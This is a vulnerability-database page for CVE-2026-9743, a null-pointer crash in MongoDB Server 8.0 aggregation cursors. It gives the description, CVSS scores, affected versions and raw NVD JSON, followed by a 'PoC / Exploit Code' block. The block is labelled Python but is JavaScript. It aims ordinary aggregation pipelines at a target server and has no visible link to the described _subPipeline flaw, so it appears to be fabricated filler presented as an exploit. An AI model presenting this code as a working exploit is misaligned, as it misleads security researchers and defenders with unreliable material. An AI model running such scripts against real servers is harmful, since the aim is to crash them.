Security Vulnerability Report
中文
CVE-2026-9743 CVSS 6.5 MEDIUM

CVE-2026-9743

Published: 2026-06-09 23:17:04
Last Modified: 2026-06-10 19:43:29

Description

In MongoDB Server 8.0, an aggregation stage can leave its _subPipeline field null during processing of certain pipelines. If a getMore is subsequently issued on the same cursor, the server may dereference this null sub-pipeline when reattaching to the operation context, accessing an invalid address and crashing the process. This issue allows an authenticated user who can run aggregation pipelines to cause a denial of service by issuing a specially crafted aggregation followed by getMore on affected versions.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server 8.0.0
MongoDB Server 8.0.1
MongoDB Server 8.0.2
MongoDB Server 8.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-9743 PoC - MongoDB Server 8.0 Null Pointer Dereference // Requires valid authentication and aggregation execution privileges const { MongoClient } = require('mongodb'); async function exploitCVE20269743() { const uri = 'mongodb://username:password@target:27017/admin'; const client = new MongoClient(uri); try { await client.connect(); const db = client.db('test'); // Create a cursor with specially crafted aggregation pipeline // The _subPipeline field becomes null during processing const pipeline = [ { $match: { field: 'trigger_condition' } }, { $group: { _id: '$category', count: { $sum: 1 } } }, // Additional stages that may cause _subPipeline to be null { $project: { result: '$_id' } } ]; // Execute aggregation and get cursor const cursor = db.collection('vulnerable_collection').aggregate(pipeline, { allowDiskUse: true, batchSize: 1 }); // Trigger getMore to dereference null _subPipeline await cursor.hasNext(); console.log('PoC executed - if vulnerable, server may crash'); } catch (error) { console.error('Error:', error.message); } finally { await client.close(); } } exploitCVE20269743(); // Alternative: Direct MongoDB shell command // db.collection.aggregate([ // { $match: { status: 'active' } }, // { $lookup: { from: 'other', localField: 'id', foreignField: 'ref', as: 'joined' } }, // { $unwind: '$joined' }, // { $group: { _id: '$joined.type', total: { $sum: '$value' } } } // ], { allowDiskUse: true }).toArray() // db.collection.find().sort({_id: -1}).limit(1).toArray() // getMore trigger

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9743", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:03.853", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In MongoDB Server 8.0, an aggregation stage can leave its _subPipeline field null during processing of certain pipelines. If a getMore is subsequently issued on the same cursor, the server may dereference this null sub-pipeline when reattaching to the operation context, accessing an invalid address and crashing the process. This issue allows an authenticated user who can run aggregation pipelines to cause a denial of service by issuing a specially crafted aggregation followed by getMore on affected versions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-123688", "source": "[email protected]"}]}}